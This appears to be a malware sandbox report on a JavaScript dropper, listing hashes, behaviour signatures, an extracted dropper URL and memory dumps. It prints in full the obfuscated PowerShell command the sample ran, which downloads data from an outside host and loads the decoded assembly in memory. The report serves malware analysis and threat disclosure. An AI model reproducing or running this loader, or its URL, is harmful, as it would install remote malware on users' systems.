Overview

overview

10

Static

static

1

proof.js

windows10-2004-x64

10

proof.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 14:36

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General

  • Target
    proof.js
  • Size 56KB
  • Sample260806-ryzzaaxxdz
  • SHA256 7b39640545ca6bd532f9598c69ab8d681513a91580f6c277aee4de5afc21637d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://muddy-sound-e0cd.nodetectonn.workers.dev/KbXaa

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\proof.js
    1⤵
      PID:3480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$quinquevalency=''https://muddy-sound-e0cd.nodetectonn.workers.dev/KbXaa''; $compossibility = [System.Net.HttpWebRequest]::Create($quinquevalency); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''tMqbGSJlitqJK/WoAjOfjykWgbOEb3i7m3sujzS3ezC1OonVY2OZq+s2CLY76gAnjBwrr6MRIqEXzBHkptZODHFEWIq7iqoeaJCokmWtGYg='','''',''wuZt4FeZa+Mu5UWBtnGHe42MRWOCmBTgmhBtoqdwlgBedxr+vrxaSgadiBeWSn9p'',''qGG3GhuhaqozeNHNeBuuKcK5Ahe1Np8RxeNgQnbzgxw='',''CYvZWCDyZaLRMcDM+3mFlwwtgjo+UaTXHbxw2x1G8aE='',''5MFm44AdH5i20CMwBl3/vKQk04uu2J+L62Uj6Ry61s0='',''4ZC+aNIHGcRZlZLa4Oy1nq5vsnXiBll9/7Civ3S8Pno='','''',''+nw7IEMoJZWGMX6PeO/83VAyksEPIB7VMjqp+lKvhFU='',''SZVq9Af9RYsUdMMykqptGJaKFdYFy07GyQ/Hg/86H73j9qC0xqhbxwVSeuXf63Nt'',''uYa43UW6eXpI45kANzadGMBaefE4irYJ/8HcrzHobRg='',''Wh6F1OqsqtCKO8FdVVj2oF+RQsTmcz6h4GvX1wmI+Kg='',''OXtYnSKeSeRDpTC9QC0i8ADwnlRMjRzTy8WQ2LP6qH4='','''',''CJE+GzqjQaNV9J/mdIufoFstgaki5dHL2OET1SUAkMc='',''H/O3bn+bttVzbiphubUgJ4EUubyNNa0YIx4D4RXqz9M='','''','''','''',''0tL6Z9wAS074Vf3Yb+6vE0cyer2F1T19cbDEaXoA/gA='',''TBPt2GqtGmZS8eFGLrG45ypy3Ocke2IgW8C1GoXhEis=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1884

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          memory/1884-0-0x00007FFB18B6F000-0x00007FFB18B70000-memory.dmp
          Download

          memory/1884-1-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-4-0x000001DAE8610000-0x000001DAE8632000-memory.dmp
          Download

          memory/1884-5-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-6-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-7-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-8-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-9-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-10-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-11-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-12-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-13-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-14-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-15-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download

          memory/1884-17-0x00007FFB189E0000-0x00007FFB19384000-memory.dmp
          Download